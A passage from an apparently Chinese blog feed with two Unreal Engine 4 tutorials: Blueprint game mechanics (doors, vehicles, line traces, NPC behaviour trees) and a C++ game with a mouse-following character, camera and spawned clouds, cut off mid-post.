    <content type="html"><![CDATA[<h1 id="蓝图开发"><a href="#蓝图开发" class="headerlink" title="蓝图开发"></a>蓝图开发</h1><h3 id="开关门"><a href="#开关门" class="headerlink" title="开关门"></a>开关门</h3><h4 id="自动开关门"><a href="#自动开关门" class="headerlink" title="自动开关门"></a>自动开关门</h4><p>在内容浏览器中右键新建一个蓝图类</p><p>添加静态网格体组件 选取对应的模型door</p><p>添加 box collision 命名为Box 规定碰撞区域</p><p>为Box添加事件，组件重叠时触发(on component begin overlap(Box))，组件结束重叠时触发(on component end overlap(Box))</p><p>在事件图标中规定时间轴(timeline)，并且在内部设置门旋转的角度和时间<br><img src="https://s2.loli.net/2022/09/02/dWGnNbFyR5LqDtT.png"><br>获取door 为door设置相对旋转(setrelativerotation) <strong>注意</strong>，应该设置为相对旋转，否则将以世界坐标为参考(setworldrotation)导致门旋转异常。</p><p>最后根据执行流程绘制蓝图：组件重叠时开始以时间轴逐帧播放旋转动画，结束重叠时逆向播放动画，将相对旋转设定为door的z轴</p><p><img src="https://s2.loli.net/2022/09/02/hIMDOzaHQpj96Cq.png"></p><h4 id="按E开关门"><a href="#按E开关门" class="headerlink" title="按E开关门"></a>按E开关门</h4><p>在自动关门的基础上添加  gate组件，利用flip flop 分别控制动画的正反播放</p><p>用E键控制gate能否执行，在组件是否重叠后  利用 启动输入(enable input) 和 禁用输入(disable input) 分别控制gate 的 open close </p><p>获取玩家控制器  来得到输入的E</p><p><img src="https://s2.loli.net/2022/09/02/6u2I8iS3DhOZ1GY.png"></p><h4 id="鼠标开关门"><a href="#鼠标开关门" class="headerlink" title="鼠标开关门"></a>鼠标开关门</h4><p>在世界大纲中新建一个玩家控制类，并且启动显示鼠标，点击事件，触控事件</p><p><img src="https://s2.loli.net/2022/09/02/M1Xz3Q4mfpEJRwo.png"></p><p><img src="https://s2.loli.net/2022/09/02/qWlRU4ymd7Kgzvu.png"></p><p>设置点击时触发事件</p><p><img src="https://s2.loli.net/2022/09/02/6lpb91dgiFNSH2V.png"></p><p>show mouse cursor 是获取玩家控制器的一个选项利用其返回值进行设置</p><p><img src="https://s2.loli.net/2022/09/02/4xtvpqXIVslh89F.png"></p><p>用玩家控制器控制启动和禁用输入 并且设置启动输入时显示鼠标，禁用时不显示</p><p>最终蓝图如下：</p><p><img src="https://s2.loli.net/2022/09/02/UyK4CnOLHjmbVSY.png"></p><p>ps：应注意碰撞盒子和模型的包含结构，否则会出现意想不到的bug</p><h4 id="用钥匙开门"><a href="#用钥匙开门" class="headerlink" title="用钥匙开门"></a>用钥匙开门</h4><p><img src="https://s2.loli.net/2022/09/09/5cwVntWmsXO1Bk3.png"></p><p>在之前按键开门的基础上新增一个变量 有无钥匙 在gate启动前用分支进行判断，如果该bool值为0则不开门。</p><p><img src="https://s2.loli.net/2022/09/09/Pms8Uh4DTl5RojI.png"></p><p>新建一个蓝图类key 当模型重叠时获得玩家的控制器并启动输入，利用获取类的所有actor并把该类设置为 key 进行蓝图间的通信 ，将outacotr的引脚设置为get[0] （因为钥匙可能不止一把），将变量 有无钥匙 设置为 1 。然后销毁actor , 让钥匙模型消失。</p><h3 id="文本渲染组件-静态网格体间的通信"><a href="#文本渲染组件-静态网格体间的通信" class="headerlink" title="文本渲染组件 静态网格体间的通信"></a>文本渲染组件 静态网格体间的通信</h3><h4 id="文本渲染组件"><a href="#文本渲染组件" class="headerlink" title="文本渲染组件"></a>文本渲染组件</h4><p>利用文本渲染组件可以在模型上显示文本，在可视选项上调整初始时是否可见。</p><p><img src="https://s2.loli.net/2022/09/09/AZVY7eI4TrhmvuW.png"></p><p>利用文本渲染组件可以适当的时候显示文本。比如这里我们就在人物模型与门碰撞开启门前显示文本，而开启门后消失。</p><p><img src="https://s2.loli.net/2022/09/09/orjWZKwINFA5cS9.png"></p><p>这里添加一个类型转换是为了确保是玩家与门发生碰撞才开门，而不是ai 。然后通过给文本设置可视性来显示或消失文本。新建一个变量 是否开门 来记录门的状态。第一次按F，则设置为 是否开门 为 1 ，并且播放开门动画。第二次按F，则设置为 是否开门 为 0 ，并且反向播放开门动画。</p><h4 id="静态网格体间的通信"><a href="#静态网格体间的通信" class="headerlink" title="静态网格体间的通信"></a>静态网格体间的通信</h4><p>当所有灯开启时开启机关。</p><p><img src="https://s2.loli.net/2022/09/09/JMHYqIrBuVThzc6.png"></p><p>添加灯光（默认不开灯），模型等组件。</p><p><img src="https://s2.loli.net/2022/09/09/VAToPvCydknbqux.png"></p><p>添加变量 是否开灯， 是否开启机关 。</p><p>当靠近灯的时候开启文本提示，离开时消失。</p><p><img src="https://s2.loli.net/2022/09/09/XgUIc7qE2d4lbKn.png"></p><p>和之前开门差不多，利用玩家控制器输入F ，利用Flip Flop 和设置可视性 设置灯的开关 </p><p>用 获得类的所有actor，选择Light（灯光）。因为需要所有灯开时才触发机关所以需要一个循环遍历 (for each loop with break)。只要有一个灯没开就退出。遍历完所有灯都可开启就 执行控制台命令(execute)开启机关。 </p><p>进入循环后判断是否开灯，若为1 就将 是否开启机关；否则将 是否开启机关为0，并且break</p><p>点击视口中的静态网格体，打开其关卡蓝图添加一个自定义事件，添加对其的一个引用设置旋转。</p><p>在执行控制台命令(execute) 用 ce 自定义事件名字（ce 开启机关门） 就可以在执行完循环后执行自定义事件。</p><p><img src="https://s2.loli.net/2022/09/09/W7ByzrjbUOD5sh6.png"></p><h3 id="多角色切换"><a href="#多角色切换" class="headerlink" title="多角色切换"></a>多角色切换</h3><h4 id="创建新角色"><a href="#创建新角色" class="headerlink" title="创建新角色"></a>创建新角色</h4><p>1.直接将人物蓝图拖入场景，在右边的细节面版的posses中设置自动控制玩家为玩家0</p><p>2.在窗口-&gt;世界场景设置-›游戏模式覆盖 为thirdpersongamemode，然后在左边基础-›玩家出生点 设置玩家位置</p><h4 id="角色切换"><a href="#角色切换" class="headerlink" title="角色切换"></a>角色切换</h4><p>在场景中放置多个人物模型,用shift在世界大纲视图中选中所有的人物，选中后打开关卡蓝图，把所有人物拖拽到关卡蓝图中。</p><p>multigate 是gate的加强版，可以按次序执行所有的引脚蓝图</p><p>因为人物是pawn类所以不用在按Q前获取玩家控制器（其子类charactor也是）。 按Q后接入multigate，延迟0.2秒钟后用 control(这是 获取玩家控制器的调用 ，所以只可以在获取玩家控制器的引脚下呼出) </p><p>直接切换玩家会导致视角有割裂感，所以可以使用混合设置视图目标 setview（也是获取玩家控制器的调用）来控制视角变换。将变换目标设置为 获取玩家控制器 新的视角目标为下一个人物。blendtime设置为2秒。</p><p>最后为了关卡蓝图的美观可以将固定的流程（没有变换的输入）重叠到宏。</p><p>注意：当视角混合过程中还按了Q那么就有可能出现bug，所以需要创建一个变量 panduan 来 判断人物是否切换完成，切换过程中无法输入。</p><p>切换视角时需要将new view target 设置为下一个人物的蓝图类。否则会出现bug</p><p><img src="https://s2.loli.net/2022/09/09/3VTCgdveNIOLARk.png"></p><h3 id="利用蓝图接口通信"><a href="#利用蓝图接口通信" class="headerlink" title="利用蓝图接口通信"></a>利用蓝图接口通信</h3><p><img src="https://s2.loli.net/2022/09/09/Dq3aQEh428XwOC7.png"></p><p>在内容浏览器新建蓝图以及蓝图接口</p><p><img src="https://s2.loli.net/2022/09/09/t5FNLKaQGZAhjuw.png"></p><p>在蓝图接口中添加一个函数CanopenDoor</p><p><img src="https://s2.loli.net/2022/09/09/TX1LyUSvnOIGw5a.png"></p><p>以事件的方式调用CanopenDoor，以蓝图编程整个开门过程</p><p><img src="https://s2.loli.net/2022/09/09/6zlkdX74rsMVnvb.png"></p><p>在ThirdPersonCharacter类中新建一个变量Th_door，类型为Door类型的蓝图</p><p>在ThirdPersonCharacter类中  按1就与CanopenDoor通信 ，但是现在的变量door仍是空的。所以需要在与box碰撞时把Door类中的内容传进去。也是因此需要通过类型转换与Th_door进行传输,并且将Door类自身传输过去。</p><p><img src="https://s2.loli.net/2022/09/09/M3urWes9KP12VRi.png"></p><p><img src="https://s2.loli.net/2022/09/09/Gb5TsXChJoVtdR2.png"></p><p>这样在人物与box重叠时就与ThirdPersonCharactor进行通信，将Door类传输给了ThirdPersonCharactor中的变量Th_Door，<br>这是Th_Door是存在的可以通过 ?is Valid 并且与CanopenDoor通信。最后在Door类中开始调用开门的具体内容。</p><p>注意：  ?is Valid 是必须要的否则会导致在Th_Door为空时无法调用而报错。</p><h3 id="控制载具"><a href="#控制载具" class="headerlink" title="控制载具"></a>控制载具</h3><p><img src="https://s2.loli.net/2022/09/10/Xlrf7sGc1kUp5YM.png"></p><p>这里就用UE4自带的载具模型。在载具的蓝图类中添加好  组件： Box 上车的碰撞盒子 ； Up上车后人物的位置 ； Down 下车后人物的位置 变量：小白人 设置为 Pawn 类型的引用 ； 下车 判断人物是否下车</p><p>调节他们的位置和大小如上图</p><p>在sedan类下创建一个自定义事件 上车 </p><p><img src="https://s2.loli.net/2022/09/10/upan6VSgZosjmkC.png"></p><p>在人物类中新建一个变量 VehiclRef 设置其类型为Sedan ，并设置为公有让其他的蓝图类可以访问 此时 这个变量是空的，如果没有 ?is valid 就会报错 ，接下来调用上车的自定义事件，并且把自身传过去。</p><p>回到Sedan类</p><p>通过类型转换的方式与Vehiclr Ref 通信 并将自身设置为Vehiclr Ref,设置Vehiclr Ref需要从类型转换的引脚中拖出</p><p>触发自定义事件上车后进入Gate分支将控制权给到自身(Sedan)</p><p>变换控制权之后就可以开走载具了，但是人物模型会停留在原地。所以还需要进行一个角色位置的变换。</p><p>变换的目标设置为小白人，变换的位置设置为Up，所以用Up 获取场景变换 再 拆分变换，将新的位置 和 旋转 传到 设置actor中</p><p>但是到这里因为人物和载具都有碰撞体积，所以会出现镜头疯狂旋转的动画，因此接下来需要取消小白人的碰撞并将其附加到Up的位置</p><p>以小白人的变量引用为目标 设置actor启用碰撞 为取消 然后 附加到组件 目标为小白人 附加到的父类为 Up 所以的参数都设置为保持场景。最后设置变量 下车 为空。</p><p><img src="https://s2.loli.net/2022/09/10/WayVqj7ZEusbvM9.png"> <img src="https://s2.loli.net/2022/09/10/phjRY3QGobHOgs9.png"></p><p>下车和上车差不多但是过程反过来。</p><p>因为此时的控制器在Sedan上所以直接在这个类里输入 F 即可。 判断一下小白人是否为空，然后让小白人进行 从actor分离。</p><p>设置actor变换让小白人变换到 Down的位置，为了让视角不倾斜，我们只让Z轴进行变换</p><p>开启小白人的碰撞</p><p>把控制权重新交给小白人，小白人类型应该为pawn</p><hr><p>但是现在还有点问题，下车视角比较僵硬； 下车后载具依然会向前滑行。</p><p>因此我们需要混合视图目标 , 他在 获取玩家控制器 的调用 set view ，将视图混合到小白人上。</p><hr><p>在Sedan类中找到 设置油门输入 当 下车 时进入分支无法输入油门</p><p><img src="https://s2.loli.net/2022/09/10/WA7pHic2KdaXRJG.png"></p><p>在Sedan类中 以 Vehicle Movement 的引脚 设置手制动输入 set hand 也就是启动手刹。然后 设置油门输入 为 0 </p><p><img src="https://s2.loli.net/2022/09/10/GhOvwqz1jtSfVyX.png"><br><img src="https://s2.loli.net/2022/09/10/kKlny7zHGmQX1Ed.png"><br><img src="https://s2.loli.net/2022/09/10/4N1YMtrQJFzKcxb.png"></p><h3 id="射线检测的计算方式拾取物品"><a href="#射线检测的计算方式拾取物品" class="headerlink" title="射线检测的计算方式拾取物品"></a>射线检测的计算方式拾取物品</h3><h4 id="射线检测的计算方式"><a href="#射线检测的计算方式" class="headerlink" title="射线检测的计算方式"></a>射线检测的计算方式</h4><p>用射线检测的计算方式检测骨架网格体，利用蓝图通信的方式按F，销毁模型。</p><p><img src="https://s2.loli.net/2022/09/10/5qUgCnrdWZlMmIK.png"></p><p>在人物模型类当中新建 event tick (会不断得触发) .在左侧组件栏中拉出 人物的camera 获取到场景位置(get world location) 作为 由通信追踪线条 的 起始点。 再由该起始点加上当前摄像机方向上的向量(获取当前向量 get forward vecotr) * 500 个厘米 再加上原来的位置 作为  由通信追踪线条 的 终点。</p><p>选择Draw Debug Type 为 任意模式进行debug。运行即可看到由摄像机不断发出的追踪线。</p><h4 id="利用蓝图通信与骨骼网格体通信"><a href="#利用蓝图通信与骨骼网格体通信" class="headerlink" title="利用蓝图通信与骨骼网格体通信"></a>利用蓝图通信与骨骼网格体通信</h4><h5 id="自定义和设置，碰撞的响应通道"><a href="#自定义和设置，碰撞的响应通道" class="headerlink" title="自定义和设置，碰撞的响应通道"></a>自定义和设置，碰撞的响应通道</h5><p>想要用射线检测与物体进行通信，需要设置设置响应的通道，让该物体在此通道中被阻挡。</p><p>添加响应通道 ：</p><p>在视图窗口 设置 -&gt; 项目设置 -&gt; 引擎 -&gt; 碰撞  在 Trace Channels 中新建一个追踪通道 默认响应设置为 ignore , 当目标模型需要响应时才设置为响应。 这里取名为 PickUp。</p><p><img src="https://s2.loli.net/2022/09/10/Ukpya78T4u5LnBE.png"></p><h5 id="实现蓝图接口通信"><a href="#实现蓝图接口通信" class="headerlink" title="实现蓝图接口通信"></a>实现蓝图接口通信</h5><p><img src="https://s2.loli.net/2022/09/10/CVdMFJqt8wB1jpT.png"></p><p>新建一个acotr蓝图类Pick_Up，先选中一个骨骼网格体（先选中可以快速添加），添加组件进入该类。</p><p><img src="https://s2.loli.net/2022/09/10/6S9uEQTzd2aqWVI.png"></p><p>设置其碰撞预设为自定义(costom),将刚才设置的响应通道PickUp打开。这样射线可以阻挡该骨骼网格体</p><p>新建一个蓝图接口 PickUp_interaction ，添加PickUp函数。不要添加输出，这样可以把它作为事件调用。</p><p><img src="https://s2.loli.net/2022/09/10/tfyDQbd1EMoz6c5.png"></p><p>在Pick_Up蓝图类中添加刚才新增的蓝图接口 PickUp_interaction ，这样可以使用在蓝图接口中的函数</p><p><img src="https://s2.loli.net/2022/09/10/dqyGMinYlK3t5pP.png"></p><p>在Pick_Up蓝图类中新增一个图标，以事件的方式调用Pick up ，最终要销毁自身，达到拾取物品的消失。</p><p><img src="https://s2.loli.net/2022/09/10/16HEv94iOLrpomM.png"></p><p>最后修改射线检测的 图表 。在hit选择中选中 hit actor 然后向PickUp通信，调用该事件。</p><h3 id="AI行为树"><a href="#AI行为树" class="headerlink" title="AI行为树"></a>AI行为树</h3><h4 id="控制器-，行为树-，-黑板"><a href="#控制器-，行为树-，-黑板" class="headerlink" title="控制器 ，行为树 ， 黑板"></a>控制器 ，行为树 ， 黑板</h4><p><img src="https://s2.loli.net/2022/09/13/5ocvBzyrmJsiGZC.png"></p><p>创建AI控制器 ，行为树 ， 黑板</p><p>在黑板中新建两个变量，是否看到玩家，要去的地方。</p><p><img src="https://s2.loli.net/2022/09/13/Jm8DBeYMcRPjCIS.png"></p><p>在AI蓝图中添加ai感知组件，设置AI视力配置，并且设置其下选项</p><p><img src="https://s2.loli.net/2022/09/13/yxQifRFsqAwp5De.png"></p><p>在行为树中添加 选择 和 序列 。<br>在行为树中设置装饰为黑板。设置变量为是否看到玩家。分别修改为已设置或未设置表示看见了或没看见。<br><img src="https://s2.loli.net/2022/09/13/SNiKyms87YvRVP9.png"></p><p>新建任务当看到玩家时进行 Seek_Player ，没看见时执行 Find_Point 。</p><p><img src="https://s2.loli.net/2022/09/13/K3vNwnXGDVeOb1W.png"></p><p>在人物蓝图中人物运动类中将旋转朝向运动关闭<br><img src="https://s2.loli.net/2022/09/13/SNnkFUAVJy12uhc.png"><br><img src="https://s2.loli.net/2022/09/13/jUb3ilnWzyrv8gV.png"></p><p>在类的默认设置中 使用控制器旋转YoW</p><p><img src="https://s2.loli.net/2022/09/13/81rOJL3BEoiWGDq.png"></p><p>这样AI就会一直面向玩家，不容易丢失了。</p><p>进入任务蓝图</p><p>Seek_Player就是让ai移动到玩家位置 由事件接收执行AI 的事件调用 ， 设置焦距可以时ai<br>一直面向玩家，最后要完成执行才可以继续进入下一个事件。</p><p><img src="https://s2.loli.net/2022/09/13/Lm3gOqHAbBUWJ9o.png"></p><p>Find_Point 则是随机获取可导航半径的一个点来进行移动<br>这里的 获取可导航半径内的随机点 参数半径 要设置 否则AI不会移动。</p><p><img src="https://s2.loli.net/2022/09/13/ij4hYcLnV39kNRG.png"></p><p>那么AI如何调用行为树呢？</p><p>以事件开始运行 为引脚 运行行为树</p><p>利用类型转换进行通信，当目标感知更新时把黑板中的变量 是否看到玩家 设置为布尔。这样在行为树中 是否看到玩家就是已设置的状态，可以进入Seek_player的序列了。</p><h4 id="AI播放攻击动画"><a href="#AI播放攻击动画" class="headerlink" title="AI播放攻击动画"></a>AI播放攻击动画</h4><p>可以用 蒙太奇播放 动画</p><p>当模型开始碰撞时 执行挥拳的动画。 注意要播放蒙太奇动画需要配置插槽 ，这个插槽相当于一个标签，用于标志动画。<br>但是我这样一直没有成功，因为我重定向的动画让我的AI一直保持T-POSE，搞了很久都没有解决。<br><img src="https://s2.loli.net/2022/09/13/D71JXOuRMr9c58W.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;蓝图开发&quot;&gt;&lt;a href=&quot;#蓝图开发&quot; class=&quot;headerlink&quot; title=&quot;蓝图开发&quot;&gt;&lt;/a&gt;蓝图开发&lt;/h1&gt;&lt;h3 id=&quot;开关门&quot;&gt;&lt;a href=&quot;#开关门&quot; class=&quot;headerlink&quot; title=&quot;开关门&quot;&gt;&lt;/a&gt;开关</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>UE4 C++ 开发游戏</title>
    <link href="http://example.com/2022/10/01/UE4c++%E5%BC%80%E5%8F%91/"/>
    <id>http://example.com/2022/10/01/UE4c++%E5%BC%80%E5%8F%91/</id>
    <published>2022-10-01T10:43:23.769Z</published>
    <updated>2022-10-01T18:46:30.370Z</updated>
    
    <content type="html"><![CDATA[<h1 id="UE4-C-开发游戏"><a href="#UE4-C-开发游戏" class="headerlink" title="UE4 C++ 开发游戏"></a>UE4 C++ 开发游戏</h1><p>粉胖香菇</p><h2 id="资源导入与人物创建"><a href="#资源导入与人物创建" class="headerlink" title="资源导入与人物创建"></a>资源导入与人物创建</h2><p><img src="https://s2.loli.net/2022/09/23/he5HO6uwIClyRdc.png"></p><p>新增一个c++的character类 取名叫 benben</p><p>然后基于 benben 新建一个蓝图类 取名 BP_benben</p><p>打开 BP_benben 蓝图类 为其选择一个骨骼网格体，并且条件碰撞体的大小。</p><p><img src="https://s2.loli.net/2022/09/23/K7CzlPWyrRZYXdt.png"></p><h2 id="创建全局摄像机"><a href="#创建全局摄像机" class="headerlink" title="创建全局摄像机"></a>创建全局摄像机</h2><p>新建一个 gamemodebase 蓝图类，用于控制游戏的模式，取 BP_gamemode </p><p><img src="https://s2.loli.net/2022/09/23/ZAeIENS3Dvl7X4W.png"></p><p>在项目设置中 选择 default gamemode(默认游戏模式) 为BP_gamemode</p><p>default pawn class(默认角色类)为BP_benben </p><p>这样在视图中 playerstart 就是 BP_benben 了</p><p>添加一个C++ actor 类 取名 BP_gamecamera</p><p><img src="https://s2.loli.net/2022/09/23/QbzMWHcFN7JpPj4.png"><br><img src="https://s2.loli.net/2022/09/23/PTcr1ay3Gls87ew.png"></p><p>在.h文件中声明camercomp类 然后在.cpp中实例化</p><p>需要先声明UCameraComponent 类 然后申请一个 CameraComp的类</p><p>CameraComp = CreateDefaultSubobject<UCameraComponent>(TEXT(“CameraComp”));   //实例化摄像机<br>CameraComp-&gt;SetupAttachment(RootComponent);                  将CameraComp附加到RootComponent根组件下</UCameraComponent></p><pre><code>CreateDefaultSubobject该函数是个模板函数，用于创建组件或子对象，然后返回指向新建组件内存区域的指针。此函数只能在无参构造器中使用而不能在BeginPlay等函数中使用！参数中的TEXT或者FName参数在同一个Actor中不能重复！可以使用SetupAttachment将一个组件附加到另一个组件上UPROPERTY 用途广泛。它允许变量被复制、被序列化，并可从蓝图中进行访问。Category 指定在Blueprint编辑工具中显示的属性的类别</code></pre><p><img src="https://s2.loli.net/2022/09/23/C3vuLVs6jzGmRgZ.png"></p><p>编译后如图所示 CameraComp 被附加到了 BP_gameCamera 组件下</p><h2 id="指定默认摄像机"><a href="#指定默认摄像机" class="headerlink" title="指定默认摄像机"></a>指定默认摄像机</h2><p><img src="https://s2.loli.net/2022/09/23/6pRUJlI2kS5X9xh.png"></p><p><img src="https://s2.loli.net/2022/09/23/ZfcDLpgn5Fd6Ji2.png"></p><p>声明一个玩家控制器 PC ,然后利用 视角混合 将视角给我们申请的摄像机</p><p><a href="https://docs.unrealengine.com/5.0/en-US/API/Runtime/Engine/GameFramework/APlayerController/SetViewTargetWithBlend/">SetViewTargetWithBlend官方文档</a></p><p>然后调节视图中个各位置即可。</p><h2 id="主角跟随鼠标移动"><a href="#主角跟随鼠标移动" class="headerlink" title="主角跟随鼠标移动"></a>主角跟随鼠标移动</h2><p>在benben.h中申明 APlayerController* PC;</p><p>直接利用 GetController() 方法 赋给 PC</p><p>把 bShowMouseCursor 属性设置成true ，这样就可以显示鼠标了</p><p><img src="https://s2.loli.net/2022/09/23/eZx4t2NB1oPEVc7.png"></p><p>在.h中声明 MoveTowardsCursor 函数用于主角跟随鼠标移动</p><pre><code>APlayerController* PlayerController = GetWorld()-&gt;GetFirstPlayerController();  //获取鼠标位置FVector2D MousePos = FVector2D(0, 0);FVector MouseLocation, MouseDirection;PlayerController-&gt;GetMousePosition(MousePos.X, MousePos.Y);                    //获取2d鼠标坐标PC-&gt;DeprojectMousePositionToWorld(MouseLocation, MouseDirection);FVector2D ObjLocation(0, 0);PlayerController-&gt;ProjectWorldLocationToScreen(GetActorLocation(), ObjLocation);   //获取球在屏幕上2d坐标float XDirection = FMath::Clamp(ObjLocation.X - MousePos.X, -1.0f, 1.0f);FVector Direction = FVector(XDirection, 0, 0);float ScaleValue = FMath::Clamp( FMath::Abs(MouseLocation.Y - GetActorLocation().Y / 100),0.0f,1.0f);AddMovementInput(Direction, ScaleValue);</code></pre><p>DeprojectMousePositionToWorld ： Convert current mouse 2D position to World Space 3D position and direction. Returns false if unable to determine value.</p><p><img src="https://s2.loli.net/2022/09/23/Fs1dzk6ihtjODvH.png"></p><p>获取鼠标的3d世界坐标，再获取主角的2d坐标，用 鼠标位置.x - 主角位置.x = 移动的方向 Direction ; Scalevalue 是移动的大小 可以为空</p><p><img src="https://s2.loli.net/2022/09/23/6UTuBnahesA1YDf.png"></p><p>因为需要不断的调用，所以要放在 tick 里面</p><p><img src="https://s2.loli.net/2022/09/23/74e91LHykgt3YTn.png"></p><h2 id="主角垂直方向跳跃"><a href="#主角垂直方向跳跃" class="headerlink" title="主角垂直方向跳跃"></a>主角垂直方向跳跃</h2><p>在.h中定义</p><p>void Lanuch();和</p><p>void LaunchOnAnyKeyPressed();</p><p>virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override;</p><pre><code>void Abenben::Lanuch()LaunchOnAnyKeyPressed()函数 分别实现点击时跳跃和碰到云时跳跃&#123;    LaunchCharacter(LaunchVelocity,false,true);&#125;</code></pre><p>LaunchVelocity是一个三维向量代表跳跃的方向  LaunchVelocity = FVector(0, 0, 1500);  </p><pre><code>void Abenben::LaunchOnAnyKeyPressed()&#123;    if (!GetCharacterMovement()-&gt;IsFalling() &amp;&amp; !bGameStarted) &#123;        Lanuch();    &#125;    if (bGameStarted == false) &#123;        bGameStarted = true;    &#125;&#125;</code></pre><p>为角色动作进行绑定</p><pre><code>void Abenben::SetupPlayerInputComponent(UInputComponent* PlayerInputComponent)&#123;    Super::SetupPlayerInputComponent(PlayerInputComponent);    PlayerInputComponent-&gt;BindAction(&quot;Jump&quot;, IE_Pressed, this, &amp;Abenben::LaunchOnAnyKeyPressed);&#125;</code></pre><p><img src="https://s2.loli.net/2022/09/25/ZoxAHvVWt578ONM.png"></p><p>为Jump设置输入为任意键</p><p><img src="https://s2.loli.net/2022/09/25/9VdtvOlTmNXGKso.png"><br>允许 Pawn 设置自定义输入绑定。由玩家控制器使用由创建玩家输入组件创建的输入组件（）调用。</p><h2 id="摄像机跟随"><a href="#摄像机跟随" class="headerlink" title="摄像机跟随"></a>摄像机跟随</h2><p>只需让摄像机.z的值跟主角一致即可</p><p>先在Game Camera.h 中获得 Abenben类型的指针</p><p>class Abenben;</p><p>Abenben* benben;</p><p>在Game Camera.cpp 中用类型转换获取主角</p><pre><code>void AGameCamera::BeginPlay()&#123;    Super::BeginPlay();    benben = Cast&lt;Abenben&gt;(UGameplayStatics::GetPlayerPawn(this, 0));    //获取主角    PC = UGameplayStatics::GetPlayerController(this, 0);   //获取playercontroller    PC-&gt;SetViewTargetWithBlend(this, 0);                    //调用playercontroller下的一个方法对视角进行混合，开始为刚进入游戏及0&#125;</code></pre><p>在Game Camera.h声明 void MoveCamera();  用于移动摄像机</p><pre><code>void AGameCamera::MoveCamera()&#123;    FVector TargetPos = FVector(GetActorLocation().X, GetActorLocation().Y, benben-&gt;GetActorLocation().Z);  //获得小球的Z方向，和自身的XY    SetActorLocation(TargetPos);          //该方法可以设置本Actor的位置&#125;</code></pre><p>自身的x y 保持不变，z随benben改变</p><pre><code>void AGameCamera::Tick(float DeltaTime)&#123;    Super::Tick(DeltaTime);    if (bFollowPlayer)    &#123;        MoveCamera();        CheckIfFalling();    &#125;&#125;</code></pre><p>写入tick随时调用</p><h2 id="创建云彩"><a href="#创建云彩" class="headerlink" title="创建云彩"></a>创建云彩</h2><p>新建一个actor类 ，需要有碰撞检测和mesh模型</p><p><img src="https://s2.loli.net/2022/09/25/D6WM7lYjVezS9Ta.png"></p><p>绑定碰撞盒子和模型到根组件</p><p><img src="https://s2.loli.net/2022/09/25/gYSGL8cfTWxiJX9.png"></p><p><img src="https://s2.loli.net/2022/09/25/SEvHCg1Fz9Bxwno.png"></p><p>编译后创建基于Cloud的蓝图类</p><p><img src="https://s2.loli.net/2022/09/25/spfE1T4uLgj3UdY.png"></p><p>指定好模型和贴图材质</p><h2 id="云的随机生成和文本"><a href="#云的随机生成和文本" class="headerlink" title="云的随机生成和文本"></a>云的随机生成和文本</h2><p><img src="https://s2.loli.net/2022/09/25/BmS57i1s4AKkEjL.png"></p><p>我们要为Cloud的材质设定多个随机值，需要修改的就是这个 Texture</p><p><img src="https://s2.loli.net/2022/09/25/N6ITbdYGA4g2Rrf.png"></p><p>在cpp的SetARandomCloudTexture()中随机生成材质</p><pre><code>void ACloud::SetARandomCloudTexture()&#123;    MatInterface = CloudPlane-&gt;GetMaterial(0);                     //为云设置材质    MatInstance = CloudPlane-&gt;CreateDynamicMaterialInstance(0, MatInterface);    int Index = FMath::RandRange(0, 2);                            //随机生成材质    if (Textures[Index])    &#123;        MatInstance-&gt;SetTextureParameterValue(FName(TEXT(&quot;Texture&quot;)), Textures[Index]); //将材质设置好贴图        CloudPlane-&gt;SetMaterial(0, MatInstance);    &#125;&#125;</code></pre><p><img src="https://s2.loli.net/2022/09/25/7CMvXH64ltxyjau.png"></p><p>为Cloud 设置材质</p><h2 id="检测云与主角的碰撞"><a href="#检测云与主角的碰撞" class="headerlink" title="检测云与主角的碰撞"></a>检测云与主角的碰撞</h2><p><img src="https://s2.loli.net/2022/09/29/QE3MLyxZX6biACc.png"></p><p>当此执行组件与另一个执行组件重叠时发生的事件，例如，玩家走进触发器。有关对象发生阻塞碰撞时的事件，例如玩家撞墙，请参阅“命中”事件。</p><p>此 Actor 和其他 Actor 上的组件都必须将“b生成过重叠事件”设置为 true 才能生成重叠事件。</p><pre><code>Syntaxvirtual void NotifyActorBeginOverlap(    AActor * OtherActor)RemarksEvent when this actor overlaps another actor, for example a player walking into a trigger. For events when objects have a blocking collision, for example a player hitting a wall, see &#39;Hit&#39; events.Components on both this and the other Actor must have bGenerateOverlapEvents set to true to generate overlap events.</code></pre><p>重写 SetARandomCloudTexture 函数当碰撞的类是 <Abenben> 时启动跳跃</Abenben></p><p><img src="https://s2.loli.net/2022/09/29/3dVfmLpTXF5vg6E.png"></p><pre><code>TSubclassOf&lt;ACloud&gt; Cloud;                 //限定赋值的只有Cloud及其子类</code></pre><p>因为有TSubclassOf 限定了赋值的可以是Cloud及其子类，将其设置为BP_CLoud ， 我们打算利用SpawnArea 生成云；TriggerArea清除云</p><p>调整SpawnArea 和  TriggerArea 大小</p><h2 id="云彩生成器及其上升"><a href="#云彩生成器及其上升" class="headerlink" title="云彩生成器及其上升"></a>云彩生成器及其上升</h2><p>新建一个cloudSpawn类</p><pre><code>ACloudSpawner::ACloudSpawner()&#123;     // Set this actor to call Tick() every frame.  You can turn this off to improve performance if you don&#39;t need it.    PrimaryActorTick.bCanEverTick = true;    SpawnArea = CreateDefaultSubobject&lt;UBoxComponent&gt;(TEXT(&quot;SpawnArea&quot;));    TriggerArea = CreateDefaultSubobject&lt;UBoxComponent&gt;(TEXT(&quot;TriggerArea&quot;));     DefaultRootComponent = CreateDefaultSubobject&lt;UBoxComponent&gt;(TEXT(&quot;DefaultRootComponent&quot;));    RootComponent = DefaultRootComponent;    SpawnArea-&gt;SetupAttachment(RootComponent); //将SpawnArea绑定到RootComponent下    TriggerArea-&gt;SetupAttachment(RootComponent); //将TriggerArea绑定到RootComponent下    InitialSpawnAmount = 6;    SpawnSpacing = 300.0f;    //DefaultRootComponent = CreateDefaultSubobject&lt;USceneComponent&gt;(TEXT(&quot;DefaultRootComponent&quot;));    //RootComponent = DefaultRootComponent;    //SpawnArea = CreateDefaultSubobject&lt;UBoxComponent&gt;(TEXT(&quot;SpawnArea&quot;));    //SpawnArea-&gt;SetupAttachment(RootComponent);    //TriggerArea = CreateDefaultSubobject&lt;UBoxComponent&gt;(TEXT(&quot;TriggerArea&quot;));    //TriggerArea-&gt;SetupAttachment(RootComponent);&#125;</code></pre><p>声明并且实例化云彩生成器 SpawnArea 生成云；TriggerArea清除云，并将他们绑定到根组件下，方便其整体的移动</p><p><img src="https://s2.loli.net/2022/09/29/vMGiOZTrU4Smj8E.png"></p><p>游戏开始时，先进入reset（）函数 